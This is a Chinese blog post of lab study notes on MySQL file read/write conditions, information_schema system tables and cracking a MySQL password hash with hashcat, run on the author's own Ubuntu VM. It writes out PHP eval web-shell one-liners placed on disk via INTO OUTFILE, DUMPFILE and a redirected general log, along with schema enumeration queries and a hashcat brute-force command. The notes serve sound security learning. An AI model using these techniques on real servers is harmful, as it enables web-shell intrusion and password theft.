follow my dream

系统表学习

字数统计: 2.9k阅读时长: 13 min
2020/03/30 Share

系统表学习

1、如何利用数据库的功能读写文件,需要什么样的条件才可以读写

2、学习数据库系统表的功能,如何利用 sql 语句查询库名、表名、字段名、内容以及当前用户等基本信息,将学习过程中关键部分整理成报告

扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解

环境:

ubuntu: 18

mysql: 5.7.29

用户:new_user@localhost


mysql数据库读写文件

参考于:

条件

secure_file_priv

该参数用来限制数据导入和导出操作的效果,该值会限制LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数可作用的文件位置(需要file 权限),在MySQL 5.7.6版本引入。

–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory

参数值 说明
NULL MySQL服务会禁止导入和导出操作
目录名(默认值为/var/lib/mysql-files/) MySQL服务只允许在这个目录中执行文件的导入和导出操作
空(注意不是NULL) 表示不对读写文件进行限制
1
2
3
4
5
6
7
mysql> show global variables like "%secure_file_priv%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.01 sec)

查询语句为

1
show global variables like "%secure_file_priv%";

查看用户权限

1
show grants for new_user@localhost;

添加 file权限给new_user

1
2
grant file on *.* to 'new_user'@'localhost';
flush privileges;

FILE权限是对所有数据库文件而言的,因此数据库只能写成*.*,而不是某一个数据库

需注意secure_file_priv参数为只读参数,不能用set global 命令修改

1
2
mysql> set global secure_file_priv = '' ;
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

需修改配置文件my.cnfmy.ini,并重启mysql.

1
secure_file_priv=

读文件需满足条件

  • 操作文件路径满足secure_file_priv条件
  • 当前数据库用户拥有file的权限
  • 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。
  • 有文件的完整路径

查看方式:

1
2
3
4
5
6
7
mysql> show global variables like 'max_allowed%';
+--------------------+----------+
| Variable_name | Value |
+--------------------+----------+
| max_allowed_packet | 16777216 |
+--------------------+----------+
1 row in set (0.01 sec)

修改方式

1
set global max_allowed_packet = 5*1024*1024;

写文件需满足的条件

  • 操作文件路径满足secure_file_priv条件
  • 当前数据库用户拥有file的权限
  • 有文件的完整路径

实践

mysql 读取文件的方法

参考:mysql 读取文件的方法

load_file()

先在`/tmp/下添加文件

1
2
nano 1.txt
hahaha

运行mysql

1
2
3
4
5
6
7
8
mysql> SELECT LOAD_FILE('/tmp/1.txt') AS Result;
+--------+
| Result |
+--------+
| 123
|
+--------+
1 row in set (0.00 sec)

已经有权限,load_file结果依旧为NULL的解决方案和讨论

这个问题好像在ubuntu有

load data infile()

这个要提前建表

1
create table user (cmd varchar(100));
1
2
3
mysql>  load data infile '/tmp/1.txt' into table user;
Query OK, 1 row affected (0.00 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

详细使用

system cat

参考:
MySQL的system命令在渗透测试中的使用以及UDF提权

在MySQL 5.x中增加了system命令,简单的符号是!,从而使MySQL可以执行系统的命令

1
2
3
4
>mysql> \! whoami
>xz
>mysql> system cat /tmp/1.txt
>123

MySQL中写文件的方法

参考于:Mysql注入中的outfile,dumpfile,load_file

outfile

test.txt无需提前创建。

1
2
3
4
mysql> select * from user_info into outfile '/tmp/test.txt';
Query OK, 4 rows affected (0.00 sec)
mysql> select "<? @eval($_POST['cmd']); ?> " into outfile '/tmp/cmd.php';
Query OK, 1 row affected (0.00 sec)
dumpfile

需要注意的是,dumpfile只能输出一行。

1
2
select * from user_info into dumpfile '/tmp/test.txt';
select "<? @eval($_POST['cmd']); ?> " into dumpfile '/tmp/cmd.php';

system

1
system sudo nano /var/www/html/test/cmd.php

利用日志来实现文件读写

查看权限

1
2
3
4
5
6
7
8
9
10
mysql> show global variables like "%genera%";
+----------------------------------------+---------------------------+
| Variable_name | Value |
+----------------------------------------+---------------------------+
| auto_generate_certs | ON |
| general_log | OFF |
| general_log_file | /var/lib/mysql/ubuntu.log |
| sha256_password_auto_generate_rsa_keys | ON |
+----------------------------------------+---------------------------+
4 rows in set (0.01 sec)

默认为OFF

设置打开
1
2
3
4
5
mysql> set global general_log='on';
Query OK, 0 rows affected (0.00 sec)

mysql> set global general_log_file='/tmp/shell.php';
Query OK, 0 rows affected (0.00 sec)
1
select ‘<?php @eval($_POST["cmd"]); ?>’;

之后会写到日志文件中

1
2
3
4
5
xz@ubuntu:/tmp$ sudo cat shell.php
/usr/sbin/mysqld, Version: 5.7.29-0ubuntu0.18.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
2020-03-29T13:27:31.893854Z 8 Query select '<?php @eval($_POST["cmd"]); ?>'

如果想把远程数据库的查询结果写到本地主机文件上, 可用:

1
mysql -h hostname -P portnum -u username -p databsename -e "SELECT ..." > file_name

学习数据库系统表

参考于:

MySQL 数据库系统表的利用,老哥好猛

Mysql5.7中自带四个数据库

mysql中information_schema说明

模式和数据库是一回事吗?来源

当涉及到数据库时,关于模式有很多困惑。 经常会出现一个问题,即架构和数据库之间是否存在差异,如果有差异,会有什么区别。

取决于供应商
造成混乱的部分原因是数据库系统倾向于以自己的方式处理模式。

  • MySQL文档指出,从物理上讲,模式与数据库同义。 因此,模式和数据库是同一件事。

  • 但是,Oracle数据库文档指出某些对象可以存储在数据库中,但不能存储在模式中。 因此,模式和数据库是两个不同的事物。

  • 根据此SQL Server技术文章,架构是数据库内部的一个单独实体。 因此,它们是两件事。

因此,取决于您使用的RDBMS,方案和数据库可能相同也可能不同。

在Mysql5.7中自带四个数据库

1
2
3
4
5
6
7
8
9
10
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)
库名 视图数量 库数量
information_schema 61 0
mysql 0 31
performance_schema 0 87
sys 100 1(sys_config)

information_schema 数据库

information_schema提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有时用于表述该信息的其他术语包括“数据词典”和“系统目录”。换句换说,information_schema是一个信息数据库,它保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。

常用视图

常用的视图为SCHEMATACOLUMNSTABLESuser_privileges

schemata

schemata表提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。该表对应的列说明如下

列名 中文解释 例子
catalog_name
schema_name 数据库名
default_character_set_name 数据库默认编码 utf8
default_collation_name utf8_general_ci
sql_path null

SQL_PATH列的之总为NULL。

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select *   from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | demo | latin1 | latin1_swedish_ci | NULL |
| def | learn_sql | latin1 | latin1_swedish_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | sys | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
6 rows in set (0.00 sec)
tables

tables表提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from database_name 的结果取之此表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| TABLE_TYPE | varchar(64) | NO | | | |
| ENGINE | varchar(64) | YES | | NULL | |
| VERSION | bigint(21) unsigned | YES | | NULL | |
| ROW_FORMAT | varchar(10) | YES | | NULL | |
| TABLE_ROWS | bigint(21) unsigned | YES | | NULL | |
| AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_FREE | bigint(21) unsigned | YES | | NULL | |
| AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | |
| CREATE_TIME | datetime | YES | | NULL | |
| UPDATE_TIME | datetime | YES | | NULL | |
| CHECK_TIME | datetime | YES | | NULL | |
| TABLE_COLLATION | varchar(32) | YES | | NULL | |
| CHECKSUM | bigint(21) unsigned | YES | | NULL | |
| CREATE_OPTIONS | varchar(255) | YES | | NULL | |
| TABLE_COMMENT | varchar(2048) | NO | | | |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
cloumns

columns表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname(数据库名).tablename(表名)的结果取之此表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| COLUMN_NAME | varchar(64) | NO | | | |
| ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | |
| COLUMN_DEFAULT | longtext | YES | | NULL | |
| IS_NULLABLE | varchar(3) | NO | | | |
| DATA_TYPE | varchar(64) | NO | | | |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | |
| DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_SET_NAME | varchar(32) | YES | | NULL | |
| COLLATION_NAME | varchar(32) | YES | | NULL | |
| COLUMN_TYPE | longtext | NO | | NULL | |
| COLUMN_KEY | varchar(3) | NO | | | |
| EXTRA | varchar(30) | NO | | | |
| PRIVILEGES | varchar(80) | NO | | | |
| COLUMN_COMMENT | varchar(1024) | NO | | | |
| GENERATION_EXPRESSION | longtext | NO | | NULL | |
+--------------------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
user_privileges表(用户权限表)

user_privileges(用户权限)表给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表

列名 中文解释 例子/说明
grantee 例如“user’@’host”
table_catalog
privilege_type 权限类型 例如:select、drop等
is_grantable 是否授权,即是否拥有“将此权限赋予其他用户”的权限,对应mysql.user表中的grant_priv字段 例如:YES或NO
schema_privileges表(方案/数据库权限表)

schema_privileges(方案权限)表给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表

列名 中文解释 例子/说明
grantee 例“user’@’host”
table_catalog
table_schema 数据库名
privilege_type 权限类型
is_grantable 是否授权 例如:YES或NO

查询

1
2
3
4
5
6
7
8
9
10
11
12
13
st=>start: Start
op=>operation: 查看数据库名
op1=>operation: 使用某数据库
op2=>operation: 查看表名
op3=>operation: 查看某表的列名或结构
op4=>operation: 执行操作
op5=>operation: 递归回去,依此检测错误
cond=>condition: 结果是否正确
e=>end

st->op->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op5->e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 当前用户名
select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
# 获取用户权限
mysql> select * from information_schema.user_privileges where grantee like '%new_user%';
+------------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+------------------------+---------------+----------------+--------------+
| 'new_user'@'localhost' | def | FILE | NO |
+------------------------+---------------+----------------+--------------+
1 row in set (0.00 sec)

# 查询数据库
show databases;
select schema_name from information_schema.schemata;


#通过库名选择数据库
use database_name #也可以直接通过多表查询

#查看当前库里的表格
show tables;
select table_name from information_schema.tables where table_schema='database_name'

# 通过表名来查询表的结构
desc tablename;

# 查询某表的所有列
Select column_name from information_schema.columns where table_name='table_name'

#获取列中信息
select *** from ***

其他三个表

  • MySql

mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。(常用的,在mysql.user表中修改用户的密码)。常用关键字有userhostauthentication_stringpassword

  • performance_schema

主要用于收集数据库服务器性能参数。并且库里表的存储引擎均为PERFORMANCE_SCHEMA,而用户是不能创建存储引擎为PERFORMANCE_SCHEMA的表。MySQL5.7默认是开启的。

  • sys

Sys库所有的数据源来自:performance_schema。目标是把performance_schema的把复杂度降低,让DBA能更好的阅读这个库里的内容。让DBA更快的了解DB的运行情况。


扩展学习-hashcat

要求:

扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解

介绍:

hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

下载安装:

幸运的是,kali2自带hashcat ,但虚拟机跑起来有点问题

GIthub地址:https://github.com/hashcat/hashcat

详细的使用教程:Hashcat使用总结-先知平台

MYSQL password 函数
1
2
3
4
5
6
7
mysql> select host,user,authentication_string from user where user = "new_user";
+-----------+----------+-------------------------------------------+
| host | user | authentication_string |
+-----------+----------+-------------------------------------------+
| localhost | new_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
1 row in set (0.00 sec)
1
hashcat -a 3 -m 300 --force 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ?d?d?d?d?d?d

可能遇到问题:

* Device #1: This device’s constant buffer size is too small.

* Device #1: This device’s local mem size is too small.

No devices found/left.

解决方法:

将处理器改成单处理且单核

后记

补充了数据库读写的相关知识,了解了hashcat(好难装)

CATALOG
  1. 1. 系统表学习
    1. 1.1. mysql数据库读写文件
      1. 1.1.1. 条件
        1. 1.1.1.1. secure_file_priv
        2. 1.1.1.2. 读文件需满足条件
        3. 1.1.1.3. 写文件需满足的条件
      2. 1.1.2. 实践
        1. 1.1.2.1. mysql 读取文件的方法
          1. 1.1.2.1.1. load_file()
          2. 1.1.2.1.2. load data infile()
          3. 1.1.2.1.3. system cat
        2. 1.1.2.2. MySQL中写文件的方法
          1. 1.1.2.2.1. outfile
          2. 1.1.2.2.2. dumpfile
        3. 1.1.2.3. system
        4. 1.1.2.4. 利用日志来实现文件读写
          1. 1.1.2.4.0.1. 设置打开
  2. 1.2. 学习数据库系统表
    1. 1.2.0.1. 模式和数据库是一回事吗?来源
    2. 1.2.0.2. 在Mysql5.7中自带四个数据库
    3. 1.2.0.3. information_schema 数据库
      1. 1.2.0.3.1. 常用视图
        1. 1.2.0.3.1.1. schemata
        2. 1.2.0.3.1.2. tables
      2. 1.2.0.3.2. cloumns
      3. 1.2.0.3.3. user_privileges表(用户权限表)
      4. 1.2.0.3.4. schema_privileges表(方案/数据库权限表)
    4. 1.2.0.4. 查询
    5. 1.2.0.5. 其他三个表
  • 1.3. 扩展学习-hashcat
    1. 1.3.0.0.1. MYSQL password 函数
  • 2. 后记